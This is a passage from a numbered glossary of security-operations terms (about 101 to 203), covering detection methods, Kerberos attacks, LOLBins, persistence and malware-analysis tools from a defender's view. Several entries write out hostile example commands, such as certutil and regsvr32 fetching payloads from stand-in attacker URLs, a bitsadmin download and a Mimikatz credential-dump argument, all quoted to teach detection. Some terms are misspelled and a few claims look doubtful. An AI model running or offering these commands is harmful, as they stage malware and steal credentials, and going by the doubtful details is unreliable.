Explanation: TTP-based detection focuses on identifying adversary tactics, techniques, and procedures rather than static indicators. SOC analysts use this approach to detect novel or polymorphic malware that changes its IOCs. It requires understanding normal behavior and mapping suspicious actions to MITRE ATT&CK. TTP-based rules are more resilient to evasion but require careful tuning to avoid false positives.

102. **Behavioral Analytics**

Explanation: Behavioral analytics uses machine learning and statistical models to establish normal patterns of users, endpoints, and networks, then flags deviations. SOC analysts use behavioral analytics to detect insider threats, compromised accounts, and low-and-slow attacks. It reduces reliance on static signatures. Behavioral alerts often require additional context to confirm malicious intent.

103. **Heuristic Analysis**

Explanation: Heuristic analysis uses rules-of-thumb or algorithms to detect suspicious characteristics (e.g., trying to disable security tools, modifying boot settings). SOC detection rules based on heuristics catch previously unseen malware families. Heuristics produce more false positives than signature-based detection but are essential for zero-day protection. Analysts tune heuristic thresholds to balance sensitivity and specificity.

104. **Anomaly Detection**

Explanation: Anomaly detection identifies events or patterns that deviate significantly from a learned baseline. SOC tools apply anomaly detection to metrics like login frequency, data transfer volume, or process execution rates. Anomalies are not inherently malicious but require investigation. False anomaly alerts are common in dynamic environments (e.g., new software rollouts).

105. **Whitelisting**

Explanation: Whitelisting is the practice of explicitly allowing known-good applications, IP addresses, users, or behaviors while denying everything else. SOC analysts maintain whitelists to reduce false positives from detection rules.

Example: exclude backup servers from lateral movement alerts. Overly broad whitelists create dangerous blind spots.

106. **Blacklisting**

Explanation: Blacklisting blocks known-bad indicators such as malware hashes, malicious domains, or attacker IP addresses. SOC analysts use blacklists from threat intelligence feeds in firewalls, EDR, and proxy filters. Blacklisting is reactive

and ineffective against new threats. It remains useful for blocking commodity malware and known C2 infrastructure.

107. **Greylisting**

Explanation: Greylisting temporarily rejects unknown traffic (e.g., email from first-time senders) to force legitimate senders to retry, while many spammers do not. SOC analysts use greylisting primarily for email security, not general detection. It reduces spam but can delay legitimate email delivery. Modern SOCs use greylisting as one layer in defense-in-depth.

108. **Sinkhole**

Explanation: A sinkhole is a DNS or IP address controlled by defenders that captures traffic destined for malicious domains or C2 servers. SOC analysts deploy sinkholes to redirect botnet traffic, identify infected hosts, and gather intelligence. Sinkholes must be sanctioned legally to avoid liability. They are highly effective against malware using domain generation algorithms (DGAs).

109. **DNS Tunneling**

Explanation: DNS tunneling encodes data within DNS queries and responses to bypass firewalls and exfiltrate data. SOC analysts detect tunneling by monitoring for abnormally large DNS packets, high query rates to suspicious domains, or TXT record payloads. DNS logs are a critical data source for detection. Blocking tunneling is difficult because DNS must remain available for legitimate use.

110. **Data Loss Prevention (DLP)**

Explanation: DLP monitors, detects, and blocks unauthorized transmission of sensitive data via email, web, USB, or cloud storage. SOC analysts investigate DLP alerts for policy violations that may indicate insider threats or compromised accounts. DLP generates high volumes of false positives without proper tuning. Integration with UEBA improves DLP accuracy.

111. **CASB (Cloud Access Security Broker)**

Explanation: CASB sits between cloud service users and providers to enforce security policies, including authentication, encryption, and activity monitoring. SOC analysts use CASB logs to detect risky SaaS usage (e.g., sharing sensitive files

externally). CASB can block shadow IT and enforce compliance. It is essential for hybrid and multi-cloud environments.

112. **CSPM (Cloud Security Posture Management)**

Explanation: CSPM continuously checks cloud configurations (e.g., S3 buckets public, security group rules) against best practices and compliance frameworks. SOC analysts remediate CSPM findings to prevent misconfiguration-based breaches. CSPM does not detect runtime threats but reduces the attack surface. Automated remediation (e.g., closing open storage) is common.

113. **CWPP (Cloud Workload Protection Platform)**

Explanation: CWPP provides agent-based or agentless protection for cloud virtual machines, containers, and serverless functions, including vulnerability scanning and runtime defense. SOC analysts use CWPP alerts for cloud-specific attacks like container escape or cryptojacking. CWPP integrates with EDR for unified visibility. It addresses the ephemeral nature of cloud workloads.

114. **Container Security**

Explanation: Container security involves scanning images for vulnerabilities, enforcing runtime policies, and monitoring for container breakout or privilege escalation. SOC analysts monitor container orchestration logs (Kubernetes audit logs) for suspicious API calls. Containers present unique challenges: short lifetimes, dynamic IPs, and shared kernel. Dedicated tools like Falco or Aqua are often required.

115. **Orchestration (Kubernetes)**

Explanation: In security context, orchestration refers to managing and automating containerized applications, typically via Kubernetes (K8s). SOC analysts monitor K8s audit logs for actions like privilege escalation, hostPath mounts, or exec into containers. Misconfigured RBAC in orchestration platforms is a common attack vector. K8s-specific detection rules are increasingly critical.

116. **Serverless Security**

Explanation: Serverless functions (AWS Lambda, Azure Functions) execute code in ephemeral, stateless environments. SOC analysts monitor function execution logs

for malicious payloads, excessive resource usage, or unauthorized library pulls. Traditional agents do not work in serverless; detection relies on cloud provider audit trails. Serverless introduces new threats like event injection and dependency confusion.

117. **IAM (Identity and Access Management)**

Explanation: IAM controls who can access which resources, including users, groups, roles, and policies. SOC analysts monitor IAM logs for anomalies such as role assumption from unusual locations, privilege escalation, or unused permissions. Compromised IAM credentials are a leading cloud breach vector. IAM visibility is foundational to cloud detection.

118. **Entitlementment**

Explanation: An entitlementment is a specific permission granted to a user or role (e.g., S3:PutObject, EC2:TerminateInstances). SOC analysts review entitlementment changes to detect privilege creep and excessive access. Attackers often enumerate entitlementments during reconnaissance. Least privilege principle dictates removing unused entitlementments.

119. **Privilege Escalation**

Explanation: Privilege escalation occurs when an attacker gains higher permissions (e.g., from user to admin) via vulnerability or misconfiguration. SOC analysts detect escalation through unusual process tokens, role assumption, or group membership changes. MITRE ATT&CK technique T1068 covers many variants. Early detection limits damage from initial compromise.

120. **Pass-the-Hash (PtH)**

Explanation: Pass-the-hash is a lateral movement technique where an attacker uses an NTLM hash (not plaintext password) to authenticate to other systems. SOC analysts detect PtH by monitoring for unusual logon types (e.g., network logon with NTLM from unexpected workstations). EDR can detect LSASS memory access attempts. Mitigations include credential guard and limiting local admin accounts.

121. **Pass-the-Ticket (PtT)**

Explanation: Pass-the-ticket uses stolen Kerberos tickets (TGT or service tickets) to authenticate without the user's password. SOC analysts monitor for abnormal Kerberos activity, such as ticket requests from non-domain joined systems. Krbtgt hash compromise enables Golden Ticket attacks. Detecting PtT requires deep domain controller logging (Event ID 4769).

122. **Golden Ticket**

Explanation: A Golden Ticket is a forged Kerberos TGT (Ticket Granting Ticket) created using the compromised krbtgt account hash of an Active Directory domain. SOC analysts cannot easily detect Golden Tickets because they appear legitimate. Detection relies on anomalies like unusual user IDs (e.g., 500 for Administrator) with abnormal service tickets. Mitigations include regular krbtgt password rotation and MS14-068 patches.

123. **Silver Ticket**

Explanation: A Silver Ticket is a forged Kerberos service ticket (TGS) for a specific service like CIFS or HTTP, created without domain controller communication. SOC analysts detect Silver Tickets by monitoring for service ticket anomalies (e.g., unexpected service accounts authenticating). Unlike Golden Tickets, Silver Tickets are limited to a single service. Logging service ticket requests (Event ID 4769) is critical.

124. **Overpass-the-Hash**

Explanation: Overpass-the-hash (or pass-the-key) uses a user's NTLM hash to request Kerberos TGTs, enabling both PtH and PtT techniques. SOC analysts detect overpass-the-hash by correlating NTLM logins followed by Kerberos ticket requests from the same host. It bypasses some PtH mitigations. Detection requires both NTLM and Kerberos logging enabled.

125. **Kerberoasting**

Explanation: Kerberoasting is an attack where an adversary requests service tickets for accounts with Service Principal Names (SPNs) and cracks them offline. SOC analysts detect Kerberoasting by monitoring for high volumes of TGS-REQ

requests (Event ID 4769) for non-existent or inconsistent services. Service account passwords should be long, random, and rotated regularly. Kerberoasting does not require privileges.

126. **AS-REP Roasting**

Explanation: AS-REP Roasting targets accounts with Kerberos pre-authentication disabled, allowing an attacker to request and crack the AS-REP encrypted portion offline. SOC analysts detect this through Event ID 4768 (TGT request) with error code 0x6 (pre-auth not required). Disabling pre-authentication is rare but sometimes used for legacy applications. Regular audits of such accounts are essential.

127. **BloodHound**

Explanation: BloodHound is a tool for mapping Active Directory attack paths using graph theory (nodes and edges). SOC analysts use BloodHound output (from red team or internal audits) to identify misconfigurations like "user can RDP to a server where admin logs in." Defenders run BloodHound in "BlueHound" mode to prioritize fixes. Understanding BloodHound queries is a valuable SOC skill.

128. **SharpHound**

Explanation: SharpHound is the data collector component of BloodHound, running on Windows systems to gather AD information via LDAP queries and local enumeration. SOC analysts may detect SharpHound by monitoring for unusual PowerShell or .NET assembly executions and LDAP query bursts. Red team often runs SharpHound, so blue team must detect it. Analyst tools like Sysmon Event ID 1 help identify SharpHound command lines.

129. **Atomic Red Team**

Explanation: Atomic Red Team is a library of small, focused, easily executable tests mapped to MITRE ATT&CK techniques. SOC analysts use Atomic tests to validate detection rules and measure response effectiveness. Each test includes a clear command and cleanup procedure. Atomic tests are safer than full red team exercises for regular validation.

130. **Caldera**

Explanation: Caldera is an open-source adversary emulation platform that automates red team operations using pluggable modules and agents. SOC analysts can run Caldera to generate realistic attacker behavior for testing detection pipelines. Caldera's profile-based operations (e.g., APT3 emulation) stress-test blue team capabilities. It is maintained by MITRE.

131. **Metasploit**

Explanation: Metasploit is a penetration testing framework that includes exploit modules, payloads, encoders, and post-exploitation tools. SOC analysts should recognize Metasploit traffic patterns (e.g., Meterpreter's default HTTP/S indicators) to detect common attacks. However, advanced adversaries modify Metasploit to evade signatures. Metasploit is more relevant to red team awareness than direct SOC operations.

132. **Cobalt Strike**

Explanation: Cobalt Strike is a commercial adversary simulation tool featuring beacon payloads and Malleable C2 profiles. SOC analysts prioritize detecting Cobalt Strike due to its widespread use by ransomware gangs and APTs. Indicators include unusual process injection, named pipe patterns, and specific HTTP headers. Cobalt Strike detection is a benchmark of SOC maturity.

133. **Malleable C2**

Explanation: Malleable C2 profiles allow Cobalt Strike to customize beacon traffic (HTTP headers, URI paths, SSL certificates) to blend into normal traffic. SOC analysts must profile baseline network behavior and detect outliers rather than static signatures. Malleable C2 profiles are why signature-based C2 detection fails. Behavioral and machine learning models are more effective.

134. **Beaconing**

Explanation: Beaconing is periodic, regular communication from compromised host to C2 server to await commands. SOC analysts detect beaconing via time-series analysis of outbound connections (e.g., every 60 seconds). Beacon jitter

(random offsets) reduces predictability. Network flow data with timestamps and aggregated counts is sufficient for beacon detection.

135. **Domain Generation Algorithm (DGA)**

Explanation: DGA generates domain names algorithmically, allowing malware to find C2 even if static domains are sinkholed. SOC analysts detect DGA by identifying NXDOMAIN responses at scale and applying entropy analysis to domain strings. Machine learning classifiers trained on domain character distribution can flag DGA domains. Sinkholing entire DGA seeds requires reverse engineering the algorithm.

136. **Fast Flux**

Explanation: Fast flux hides malicious servers behind a rapidly changing DNS A/AAAA record list (typically compromised home routers). SOC analysts detect fast flux by monitoring short TTLs (Time To Live) and high IP churn for a single domain name. Fast flux complicates IP-based blocking. Correlation with threat intelligence and WHOIS history helps.

137. **Double Flux**

Explanation: Double flux changes both the IP addresses (A records) and the authoritative name servers (NS records) rapidly. SOC analysts face greater difficulty tracking double flux networks because resolution and control infrastructure both shift. Double flux indicates a sophisticated botnet. Detection requires tracking historical DNS glue records and NS changes.

138. **Tor (The Onion Router)**

Explanation: Tor anonymizes traffic by routing through multiple encrypted relays. SOC analysts flag outbound Tor connections via known relay IP lists or Tor directory authority queries. Tor exit node traffic may indicate C2 or data exfiltration, but also legitimate privacy use. Higher sensitivity is warranted for servers; workstations may have valid Tor use (e.g., researchers).

139. **I2P (Invisible Internet Project)**

Explanation: I2P is an anonymizing overlay network smaller than Tor, often used by malware for C2 due to fewer enterprise detection rules. SOC analysts can

detect I2P by monitoring for I2P router console ports (7657), SAM (7656), and BOB (2827) or protocol signatures. I2P detection is less mature than Tor detection. Threat intelligence feeds for I2P nodes exist but have coverage gaps.

140. **VPN (Virtual Private Network)**

Explanation: VPNs encrypt point-to-point traffic, but malicious actors use commercial VPNs (NordVPN, ExpressVPN) to hide origination IPs. SOC analysts correlate VPN IPs with threat intelligence (some providers sell VPN IP lists) but false positives are common. Focus on anomaly detection (e.g., VPN login followed by impossible travel) rather than blocking VPNs entirely.

141. **Proxy (Forward/Reverse)**

Explanation: Forward proxies mask user IPs; reverse proxies hide backend servers. Attackers use open proxies for anonymization or compromised internal hosts as pivot proxies. SOC analysts detect proxy abuse via proxy protocol logs (X-Forwarded-For headers) and HTTP CONNECT methods. Reverse proxy logs help identify attackers targeting web apps.

142. **User Agent String Analysis**

Explanation: User agent (UA) strings identify browser/OS in HTTP requests. SOC analysts look for anomalous UAs (e.g., Python-requests, curl, outdated browser versions) as signs of automated tooling or compromise. Attackers spoof UAs, so absence of an expected UA is also suspicious. UA alone is weak evidence but valuable in correlation.

143. **TLS Fingerprinting (JA3/JA3S)**

Explanation: JA3 creates a fingerprint from TLS handshake parameters (TLS version, cipher suites, extensions). SOC analysts use JA3 fingerprints to identify specific malware families or Cobalt Strike beacons regardless of IP/DNS changes. JA3S fingerprints the server side. Fingerprint databases map JA3 to known threats. Use is limited if malware uses browser-like TLS configurations.

144. **HASSH**

Explanation: HASSH is a fingerprinting method for SSH handshakes (algorithm negotiation, encryption methods). SOC analysts use HASSH to detect malicious

SSH clients or automated scanners. HASSH allows tracking SSH connections across dynamic IPs. It is similar to JA3 but for SSH protocol.

145. **NetFlow/IPFIX**

Explanation: NetFlow (and its standard IPFIX) provides aggregated session metadata (src/dst IP, ports, bytes, packets, timestamps) without full packet payloads. SOC analysts use NetFlow for traffic baseline analysis, beacon detection, and data exfiltration trends. NetFlow is lightweight enough for high-volume networks but lacks application-level details. It is a critical complement to full packet capture.

146. **PCAP (Packet Capture)**

Explanation: PCAP is the raw capture of network packets, including full payloads. SOC analysts use PCAP for deep forensic analysis: extracting malware, reconstructing files, replaying sessions. PCAP consumes massive storage (petabytes). SOCs capture PCAP for limited time (e.g., 48 hours) or triggered by alerts. Full PCAP is gold for IR but operationally expensive.

147. **Zeek (formerly Bro)**

Explanation: Zeek is a network security monitoring framework that parses protocols (HTTP, DNS, SMB, etc.) into structured logs, not intrusion detection. SOC analysts use Zeek logs (conn.log, http.log, dns.log, smb_files.log) for anomaly detection and threat hunting. Zeek does not alert by default; it generates rich data for other tools. Zeek is strong for TLS certificate analysis and file extraction.

148. **Suricata**

Explanation: Suricata is a high-performance intrusion detection/prevention system (IDS/IPS) supporting signature, protocol, and anomaly detection. SOC analysts write Suricata rules (similar to Snort) to alert on known IOCs and patterns. Suricata can operate in inline (IPS) mode to block traffic. It integrates with emerging threats (ET) open and pro rule sets.

149. **Snort**

Explanation: Snort is the original open-source IDS/IPS (now Cisco-owned) using a

rule language for packet-level detection. SOC analysts may encounter Snort rules converted to Suricata format. Snort remains common in legacy environments. Rule management for Snort requires regular updates to prevent rule decay.

150. **YARA-L**

Explanation: YARA-L is Google's extension to YARA for detecting patterns across multiple events in sequence (like a correlation language). SOC analysts using Chronicle SIEM write YARA-L rules to describe event relationships over time. YARA-L supports variables, regular expressions, and logical operators. It bridges the gap between simple IOC matching and complex behavioral detection.

Part 4/10 – Terms 151 to 200

151. **Sigma Rules**

Explanation: Sigma is a generic, open-source rule format for log events that can be translated into SIEM-specific queries (Splunk, Elastic, QRadar, etc.). SOC detection engineers write Sigma rules once and deploy them across heterogeneous environments. Sigma supports mapping to MITRE ATT&CK techniques and includes fields for log source, detection logic, and false positive conditions. It greatly reduces redundant rule engineering.

152. **ES-API**

Explanation: The Elasticsearch API is used to query, index, and manage data in Elastic-based SIEMs. SOC analysts interact with ES-API via Kibana Dev Tools or programmatically with Python (elasticsearch-py). API access enables automated hunting scripts and custom dashboards. Proper API authentication and rate limiting are essential to avoid performance degradation.

153. **Search Head**

Explanation: In Splunk architecture, the search head is the component that handles user queries, distributes them to indexers, and consolidates results. SOC analysts interact exclusively with search heads. Search head clustering provides high availability. Overloaded search heads cause slow investigation performance.

154. **Forwarder (Splunk Universal Forwarder)**

Explanation: A forwarder is a lightweight agent (Splunk Universal Forwarder, Elastic Beats, etc.) that collects log files and sends them to a central SIEM. SOC engineers deploy forwarders on servers, endpoints, and network devices to stream logs. Forwarders can filter, compress, and encrypt data before transmission. Without forwarders, log collection is manual and incomplete.

155. **Ingestion**

Explanation: Ingestion is the process of importing log data into a SIEM or data lake, including parsing, normalization, and indexing. SOC analysts monitor ingestion volume to track costs (SIEM licensing is often volume-based). Ingestion spikes may indicate a DDoS, misconfigured logging, or a security incident generating excessive events. Dropped ingestion creates blind spots.

156. **Log Source Onboarding**

Explanation: Onboarding is the process of configuring a new log source (e.g., firewall, EDR) to send logs to the SIEM, including network connectivity, authentication, and parsing rules. SOC engineers maintain onboarding checklists to ensure required fields are present. Incomplete onboarding results in partial visibility. Regular audits identify log sources not yet onboarded.

157. **Data Diode**

Explanation: A data diode is a unidirectional network device that allows data to flow only from a low-security network to a high-security network (or vice versa) with no return path. SOC analysts in air-gapped environments (e.g., OT, military) use data diodes to ingest logs without risking inbound attacks. Data diodes guarantee physical layer one-way transfer, unlike firewalls.

158. **Syslog**

Explanation: Syslog is a standard protocol (UDP 514, TCP 514, TLS 6514) for sending log messages from devices to collectors. Most network devices (routers, firewalls, switches) support syslog. SOC analysts configure syslog collectors as the first hop before forwarding to SIEM. Syslog over UDP is lossy; TCP or RELP (Reliable Event Logging Protocol) is preferred for critical logs.

159. **CEF (Common Event Format)**

Explanation: CEF is an open log format standard from ArcSight that uses key-value pairs for common fields (device vendor, severity, signature ID). Many security products send CEF logs to SIEMs for easier parsing. SOC analysts recognize CEF as less common today (LEEF from IBM and JSON are alternatives). CEF still appears in legacy and OT environments.

160. **LEEF (Log Event Extended Format)**

Explanation: LEEF is IBM's proprietary log format for QRadar, extending CEF with additional attributes. SOC analysts using QRadar must understand LEEF field mappings. LEEF logs include header information and custom key-value pairs. Many vendors provide LEEF output options for QRadar compatibility.

161. **JSON Logging**

Explanation: JSON (JavaScript Object Notation) logging structures log messages as key-value pairs, enabling machine parsing without custom regex. Modern applications and cloud services increasingly use JSON logs. SOC analysts prefer JSON because it simplifies normalization and search. JSON is the native format for Elasticsearch and many cloud SIEMs.

162. **Windows Event Forwarding (WEF)**

Explanation: WEF allows Windows hosts to forward specific event IDs to a central collector server using Event Subscription. SOC engineers use WEF to collect logs (e.g., Security, PowerShell, Sysmon) without installing third-party agents. WEF uses HTTP/HTTPS (WinRM) and can leverage Group Policy for configuration. It reduces agent sprawl but requires careful subscription design to avoid collector overload.

163. **WMI (Windows Management Instrumentation)**

Explanation: WMI is a Windows management framework that can execute queries, run processes, and subscribe to events. Attackers use WMI for lateral movement and persistence (MITRE T1047). SOC analysts detect malicious WMI through Event ID 5861 (WmiEventConsumer) and 5860 (WmiEventFilter). WMI logging must be explicitly enabled via Windows Event Forwarding or Sysmon.

164. **PowerShell Logging**

Explanation: PowerShell logging includes script block logging, module logging, and transcription. SOC analysts enable these levels to detect malicious PowerShell commands (e.g., downloading payloads, bypassing execution policy). Script block logging (Event ID 4104) captures de-obfuscated commands. PowerShell logging is disabled by default in many environments, creating detection gaps.

165. **AMSI (Antimalware Scan Interface)**

Explanation: AMSI allows applications (PowerShell, VBScript, .NET) to send script content to the antivirus engine before execution. SOC analysts use AMSI to detect script-based malware that evades traditional file scans. Attackers attempt to disable AMSI via registry or Reflection techniques. AMSI bypass detection is a high-fidelity indicator of compromise.

166. **ETW (Event Tracing for Windows)**

Explanation: ETW is a high-performance Windows logging system that provides kernel and user-mode telemetry. SOC analysts and EDR tools tap ETW providers (e.g., Microsoft-Windows-Sysmon, Microsoft-Windows-PowerShell) for real-time events. ETW event loss indicates system overload. Understanding ETW helps analysts troubleshoot missing Windows events.

167. **Syscall**

Explanation: A syscall (system call) is a request from user-mode application to kernel for privileged operations (open file, create process, network I/O). Advanced EDRs hook syscalls to detect bypasses of user-mode hooks. SOC analysts investigating Linux or Windows endpoints analyze syscall traces to reverse engineer malware behavior. Syscall monitoring is heavy but powerful.

168. **Process Injection**

Explanation: Process injection is a technique where malicious code runs within the address space of a legitimate process (MITRE T1055). SOC analysts detect injection via memory region anomalies (e.g., RWX pages in non-executable processes), thread creation, or remote API calls (VirtualAllocEx,

WriteProcessMemory, CreateRemoteThread). EDR telemetry and Sysmon Event ID 8 (CreateRemoteThread) are primary detection sources.

169. **DLL Sideload**

Explanation: DLL sideloading places a malicious DLL in a location where a legitimate application will load it instead of the intended DLL. SOC analysts detect sideloading by comparing loaded DLL paths against known good directories and monitoring for writes to application folders. It is a common defense evasion technique. Sideload often accompanies LOLBins.

170. **LOLBin (Living Off the Land Binary)**

Explanation: LOLBins are legitimate Windows executables (rundll32.exe, mshta.exe, regsvr32.exe) that attackers abuse to execute code. SOC analysts maintain lists of LOLBins (lolbas-project.github.io) and monitor command-line arguments for suspicious patterns. Blocking LOLBins is impossible—detection requires behavioral rules. LOLBin usage is a hallmark of fileless malware.

171. **Regsvr32**

Explanation: Regsvr32.exe is a Microsoft tool for registering COM DLLs; attackers abuse it via regsvr32 /s /u /i: <http://malicious.sct> scrobj.dll. SOC analysts detect this by monitoring command-line patterns containing "/i" and remote URLs. Regsvr32 can bypass application allow-listing. Disabling regsvr32 in constrained environments reduces risk.

172. **Mshta**

Explanation: Mshta.exe executes Microsoft HTML Application (HTA) files, which can host VBScript or JavaScript. Attackers use mshta to download and execute payloads. SOC analysts detect mshta with network connections or child processes. Command-line arguments containing "http" or "javascript" are immediate red flags. Organizations may block .hta files at email gateways.

173. **Certutil**

Explanation: Certutil.exe is a Windows certificate management utility; attackers abuse it to download files (certutil -urlcache -f <http://evil.com/payload.exe> payload.exe) and base64-decode payloads. SOC

analysts monitor certutil command lines for URL arguments and output file creation. Certutil is a common LOLBin for malware staging.

174. **BITSAdmin (Background Intelligent Transfer Service)**

Explanation: BITSAdmin manages BITS jobs, which download/upload files asynchronously. Attackers abuse BITSAdmin to download malware in the background (MITRE T1197). SOC analysts detect BITSAdmin via command-line patterns (e.g., bitsadmin /transfer /download) and BITS job creation events (Windows Event ID 59). BITS jobs can survive reboots and have separate proxy settings.

175. **WScript / CScript**

Explanation: WScript.exe and CScript.exe are Windows Script Host executables. Attackers use them to run VBScript or JScript malware. SOC analysts detect malicious script hosts by monitoring parent-child relationships (e.g., email client spawning script host) and command-line script names. Many ransomware families initially execute via WScript.

176. **PowerSploit**

Explanation: PowerSploit is a collection of PowerShell modules used for reconnaissance, persistence, and privilege escalation. SOC analysts detect PowerSploit by looking for unique function names (Invoke-Mimikatz, Invoke-Shellcode) in PowerShell script block logs. Enterprise red and blue teams use PowerSploit for testing detection coverage. Many techniques are now built into Cobalt Strike.

177. **Mimikatz**

Explanation: Mimikatz is a post-exploitation tool that extracts plaintext passwords, NTLM hashes, and Kerberos tickets from memory (lsass.exe). SOC analysts prioritize detecting Mimikatz via command-line arguments ("sekurlsa::logonpasswords") or DLL loads (mimikatz.dll). Credential dumping detection (MITRE T1003) is a SOC baseline. EDRs can block Mimikatz directly.

178. **ProcDump**

Explanation: ProcDump (Microsoft Sysinternals) is used to dump process memory;

attackers abuse it to capture lsass.exe memory for offline credential extraction. SOC analysts detect procdump execution targeting lsass.exe via command-line monitoring. ProcDump is legitimate for debugging, so context matters is important (unscheduled usage, unusual parent process).

179. **PsExec**

Explanation: PsExec (Sysinternals) executes processes remotely; attackers use it for lateral movement often. SOC analysts monitor PsExec by service creation events (Event ID 7045) with service name "PSEXESVC". PsExec uses named pipes (PSEXESVC) and leaves artifacts in registry. Legitimate IT admins use PsExec, so detections require correlation with user context.

180. **WMI Persistence**

Explanation: WMI can be used for persistence by registering event filters and consumers that trigger on startup or logon (MITRE T1546.003). SOC analysts detect WMI persistence via Event IDs 5860 (Filter) and 5861 (Consumer) plus 5862 (Binding). WMI permanent event subscriptions survive reboots. Removing them requires specific WMI commands.

181. **Scheduled Tasks**

Explanation: Scheduled tasks execute commands automatically at defined times; attackers create malicious tasks for persistence. SOC analysts detect new tasks via Event ID 4698 (Windows) or Sysmon Event ID 1 with schtasks.exe command lines. Scheduled tasks are common in ransomware and APT activity. Auditing task creation is often disabled by default in Windows.

182. **Startup Folder Persistence**

Explanation: Adding a shortcut to a user startup folder or system startup folder executes a program at logon. SOC analysts monitor writes to %AppData%\Microsoft\Windows\Start Menu\Programs\Startup and the all-user startup path. This technique is low-tech but effective and often missed by EDRs without file integrity monitoring.

183. **Registry Run Keys**

Explanation: Registry keys (e.g.,

HKCU\Software\Microsoft\Windows\CurrentVersion\Run) execute programs at user login. Attackers add malicious entries here for persistence. SOC analysts detect writes to these keys via Sysmon Event ID 13 (Registry value set) or Windows Event ID 4657. The RunOnce key executes once and deletes itself, complicating forensic discovery.

184. **Bootkit**

Explanation: A bootkit infects the master boot record (MBR) or UEFI firmware, loading before the operating system. SOC analysts cannot detect bootkits using OS-level EDR—requires hardware-based attestation or memory acquisition at boot. Bootkits survive OS reinstallation. Detection involves verifying UEFI Secure Boot integrity and scanning firmware.

185. **Rootkit**

Explanation: A rootkit hides its presence by intercepting system calls (syscall hooking), modifying kernel objects, or filtering file/directory listings. SOC analysts detect rootkits via behavioral anomalies (hidden processes, mismatched API outputs) and memory integrity scans. Modern EDRs use kernel callbacks that rootkits struggle to bypass. Full rootkit detection often requires offline forensic analysis.

186. **Fileless Malware**

Explanation: Fileless malware executes directly in memory (e.g., PowerShell script, WMI event subscription) without writing files to disk. SOC analysts detect fileless malware via behavior (e.g., suspicious parent-child relationships) and memory forensics. Traditional antivirus fails against fileless attacks. Fileless techniques are standard in modern malware.

187. **Malware Sandbox**

Explanation: A malware sandbox is an isolated, instrumented environment (e.g., Cuckoo, CAPE, Joe Sandbox) where suspicious files are executed to observe behavior. SOC analysts submit unknown files to a sandbox for dynamic analysis. Sandboxes generate reports indicating network connections, file writes, process

injections, and registry changes. Evasive malware detects sandboxes and sleeps or terminates.

188. **Reverse Engineering**

Explanation: Reverse engineering (RE) is the process of analyzing executable binaries to understand functionality, including disassembly (static) and debugging (dynamic). SOC analysts with RE skills triage unknown malware, extract IOCs, and identify C2 protocols. RE is a specialized skill requiring assembly language and tools like IDA Pro, Ghidra, or x64dbg. Most SOC Tier 3 and forensics teams perform limited RE.

189. **Ghidra**

Explanation: Ghidra is an open-source reverse engineering framework developed by NSA, supporting disassembly, decompilation, and scriptable analysis. SOC malware analysts use Ghidra to analyze binaries without commercial licenses. Ghidra's decompiler produces C-like pseudocode, accelerating understanding. It competes with IDA Pro.

190. **IDA Pro**

Explanation: IDA Pro (Interactive Disassembler) is a commercial reverse engineering tool with advanced cross-references, scripting (IDC, Python), and plugin support. SOC teams with budget prefer IDA Pro for malware analysis. IDA's microcode makes complex obfuscation easier to handle. It has a steep learning curve.

191. **x64dbg**

Explanation: x64dbg is an open-source debugger for Windows (x86/x64) used for dynamic malware analysis. SOC analysts use x64dbg to single-step through malicious code, inspect registers, and set breakpoints. It is lightweight and scriptable. x64dbg complements static analysis tools.

192. **Strings Analysis**

Explanation: Strings analysis extracts ASCII and Unicode text sequences from binaries (e.g., using `strings.exe`). SOC analysts look for URLs, IPs, registry keys, error messages, and command-line arguments in malware. Strings often reveal

C2 domains and reconnaissance commands. Packed or encrypted malware will show few meaningful strings.

193. **Packer**

Explanation: A packer compresses or encrypts an executable to evade signature detection and make reverse engineering difficult. SOC analysts detect packers via high entropy sections, unusual section names (UPX, Themida), or import table anomalies. Unpacking (using tools like UPX -d or manual OEP finding) is required for analysis. Packed malware is a strong indicator of commoditized crimeware.

194. **OEP (Original Entry Point)**

Explanation: The original entry point is the address where packed malware would start executing before packing. SOC analysts performing manual unpacking must locate the OEP after the unpacking stub finishes. OEP detection involves stepping through the stub (single-step) or using breakpoints on API calls like VirtualAlloc. Once at OEP, analysts dump the unpacked process.

195. **YARA Packer Rules**

Explanation: YARA rules can identify packers by scanning for byte sequences unique to specific packer stubs (e.g., UPX signature "UPX0", "UPX1"). SOC analysts run packer detection as a pre-processing step before sandbox submission. Packed malware may still contain malicious behavior, but indicator extraction requires unpacking.

196. **IOC Extractor**

Explanation: An IOC extractor is a tool (e.g., FLARE FLOSS, CyberChef, custom script) that automatically pulls indicators (IPs, domains, file paths, registry keys) from a binary or memory dump. SOC analysts use IOC extractors after malware analysis to create detection rules. Automated extractors may miss obfuscated strings (e.g., XORed). Manual verification is required.

197. **FLOSS (FireEye Labs Obfuscated String Solver)**

Explanation: FLOSS extracts obfuscated strings from malware by emulating code to deobfuscate strings at runtime. SOC analysts run FLOSS against packed or

obfuscated samples to find C2 domains and commands. FLOSS works where traditional strings fails. It is maintained by Mandiant (formerly FireEye).

198. **CyberChef**

Explanation: CyberChef is a web-based "cyber swiss army knife" for encoding, decoding, encryption, decryption, and data transformation. SOC analysts use CyberChef to decode base64, unzip, XOR, or convert between hex and ASCII during investigations. It runs locally in the browser, safe for unclassified data. CyberChef is a daily tool for many SOC analysts.

199. **Hatching Triage**

Explanation: Hatching Triage is a cloud-based malware sandbox with an extensive rule set and MITRE ATT&CK mapping. SOC analysts submit samples to Triage for automated dynamic analysis. It produces rich reports including network traffic, file system changes, and extracted configuration. Many SOC's use Triage as their primary sandbox.

200. **Cuckoo Sandbox**

Explanation: Cuckoo is an open-source malware analysis sandbox that monitors API calls, network traffic, and file operations. SOC analysts self-host Cuckoo for privacy-sensitive samples. Cuckoo's plugin architecture allows customization. It requires significant maintenance and anti-evasion updates. Many commercial sandboxes are based on Cuckoo.

Part 5/10 – Terms 201 to 250

201. **Vulnerability Management**

Explanation: Vulnerability management is the continuous process of identifying, classifying, prioritizing, and remediating security weaknesses in an organization's infrastructure. SOC analysts receive vulnerability scan results and patch statuses to correlate with active threats (e.g., unpatched server exploited in an incident). Without integration between vulnerability management and SOC, attackers

exploit known vulnerabilities that defenders know about but fail to patch. Remediation tracking often involves SLAs based on criticality.

202. **CVE (Common Vulnerabilities and Exposures)**

Explanation: CVE is a standardized identifier for publicly known cybersecurity vulnerabilities (e.g., CVE-2021-44228 for Log4Shell). SOC analysts use CVE IDs to reference specific weaknesses in alerts, threat intelligence, and change tickets. CVE entries provide a brief description but no technical details. CVSS scores often accompany CVEs for severity prioritization.

203. **CVSS (Common Vulnerability Scoring System)**

